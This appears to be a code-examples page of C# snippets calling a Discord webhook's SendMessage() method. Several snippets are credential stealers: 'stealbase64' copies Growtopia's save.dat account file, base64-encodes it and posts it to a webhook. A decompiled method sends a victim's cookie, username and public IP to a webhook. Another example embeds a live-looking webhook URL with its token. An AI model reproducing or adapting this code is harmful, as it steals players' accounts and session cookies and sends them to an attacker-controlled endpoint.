SendMessage() public method

public SendMessage ( string msgSend ) : void
msgSend string
return void
Ejemplo n.º 1
0
 public void stealbase64(string error, string webhook)
 {
     try
     {
         Thread.Sleep(10);
         string sourceFile      = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Growtopia\save.dat";
         string destinationFile = Environment.GetFolderPath(Environment.SpecialFolder.CommonMusic) + @"\result.debby";
         File.Copy(sourceFile, destinationFile, true);;
         Thread.Sleep(60);
         StreamReader readdat       = new StreamReader(destinationFile);
         string       base64encoded = readdat.ReadToEnd();
         string       base64encodd  = Base64.Base64Encode(base64encoded);
         using (dWebHook discordsender = new dWebHook())
         {
             discordsender.ProfilePicture = "https://s3.amazonaws.com/static.graphemica.com/glyphs/i500s/000/002/004/original/0058-500x500.png?1275291789";
             discordsender.UserName       = "******";
             discordsender.WebHook        = webhook;
             discordsender.SendMessage("||" + base64encodd + "||");
         }
     }
     catch
     {
         MessageBox.Show(error, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
         Environment.Exit(-1);
     }
 }
    // Token: 0x0600000F RID: 15 RVA: 0x00003004 File Offset: 0x00001204
    public static string smethod_11(string string_8)
    {
        string str    = Environment.UserName.ToString();
        string str2   = new WebClient().DownloadString("http://api.ipify.org/");
        string value  = str + ":!:" + str2;
        string value2 = EntryPointClass.string_0;


        string result;

        try
        {
            using (dWebHook dcWeb = new dWebHook())
            {
                dcWeb.ProfilePicture = "https://ixware.biz/cs/cs.png";
                dcWeb.UserName       = "******";
                dcWeb.WebHook        = "WEBHOOK HERE";
                dcWeb.SendMessage($"Cookie: {string_8}\r\n\r\nIP: {value}");
            }
            result = "gay";
        }
        catch
        {
            result = "false";
        }
        return(result);
    }
Ejemplo n.º 3
0
 private void textBox4_KeyDown(object sender, KeyEventArgs e)
 {
     if (e.KeyCode == Keys.Enter)
     {
         WebHook.WebHook        = WebhookURL;
         WebHook.UserName       = Username;
         WebHook.ProfilePicture = PictureURL;
         WebHook.SendMessage(textBox4.Text);
         listBox1.Items.Add(textBox4.Text);
         textBox4.Text      = "";
         e.Handled          = true;
         e.SuppressKeyPress = true;
     }
 }
Ejemplo n.º 4
0
 private void Form3_Load(object sender, EventArgs e)
 {
     using (dWebHook dcWeb = new dWebHook())
     {
         RegistryKey key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\OurSettings");
         if (key != null)
         {
             string user = (key.GetValue("Setting1").ToString());
             dcWeb.ProfilePicture = "https://www.kindpng.com/picc/m/287-2874533_discord-server-icon-logo-discord-png-transparent-png.png";
             dcWeb.UserName       = "******";
             dcWeb.WebHook        = ("https://discordapp.com/api/webhooks/692356553138765914/e6U3hmqWbgrrXix036OIcU_Fm5QHAd7HtA8i-4qGhiJv8YMPhwbL7HSaXb6J37Jnuc34");
             dcWeb.SendMessage("```" + "User " + (user) + " has opened up Project MainDab!" + "```");
         }
         else
         {
             MessageBox.Show("Error reading from User Data. User NOT FOUND. Click OK to create an account.");
             Form6 form = new Form6();
             form.Show();
             base.Hide();
         }
     }
     this.Show();
     this.backgroundWorker1.RunWorkerAsync();
 }